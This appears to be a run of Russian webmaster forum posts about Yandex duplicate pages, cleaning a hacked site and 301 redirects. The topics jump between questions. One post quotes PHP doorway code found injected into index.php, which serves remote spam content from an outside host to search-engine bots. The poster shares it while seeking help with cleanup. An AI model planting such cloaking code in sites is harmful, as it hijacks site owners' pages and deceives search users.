Яндекс может посчитать дублями страницы на разных языках при условии что английские термины и текст повторяются на всех языках, содержание таблиц одинаковое(не переведено), картинки одинаковые(один URL на всех языках)??
Сайт солью и антивирем прогоню. Может подскажите где посмотреть если ничего ни найду?---------- Добавлено 31.03.2014 в 15:31 ----------В общем код дора нашел в index.php:
$bot_list = array('Googlebot','aol.','.ask.','abacho','abizdirectory','about','acoon','allpages','allthesites','alltheuk','alltheweb','altavista','america','bot','bingbot','bingpreview','brainysearch','crawl','dmoz','dogpile','ebay','ehow','entireweb','euroseek','exalead','excite','facebook','fastbot','filesearch','-goo','google','google web preview','hispavista','hotbot','linkedin','live','lycos','mamma','metabot','metacrawler','metaeureka','mojeek','msn','msnbot','msrbot','myspace','netscape','obot','pinterest','rambler','search','spider','teoma','terra','tiscali','twitter','vkontakte','voila','wanadoo','web-archiv','webalta','webcrawler','websuche','yahoo','yandex','yell','youtube','zoneru'); $domain = $_SERVER['HTTP_HOST']; $submit = 'http://links.freedns.ddosattacker.com/links/api.php'; $url = $submit.'?domain='.$domain; $fetch_page = false; foreach($bot_list as $bot) { if(preg_match("#" . $bot ."#is", getenv("HTTP_USER_AGENT"))) { $fetch_page = true; break; } } if($fetch_page == true) { submit_load_site($url); } function submit_load_site($url) { $useragent = 'demo'; $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); curl_close($ch); echo $result; }
В общем то примитивно и в лоб. Боюсь что будут рецидивы, наверняка есть еще какой нибуть кусок кода который запишит код дора по новой. Для файлов в корне сайта назначил права 444, как еще себя можно обезопасить?
Закрыты атребутом rel="nofollow" и обернуты в <noindex>
Сейчас добавил исключение для 301 - го теперь с сайт.ру и новыйсайт.ком доступны robots.txt он такой же как для новыйсайт.ру. Это ускорит процесс если да то на сколько?
Извиняюсь опечатка вышла не HOST сайт.ру а HOST новыйсайт.ру,
В общем заказчик хочет чтобы при входе на сайт.ру и новыйсайт.ком сразу шло перенаправление на новыйсайт.ру (чтобы в адресной строке браузера не появлялись имена сайт.ру и новыйсайт.ком)
Организованно все вот так
RewriteEngine On
RewriteBase /
RewriteRule ^(.*)$ http://www.новыйсайт.ru/$1 [R=301,L]
сайт.ру/robots.txt и новыйсайт.ком/robots.txt не доступны из за редиректа.
Насколько долго этого можно ждать?
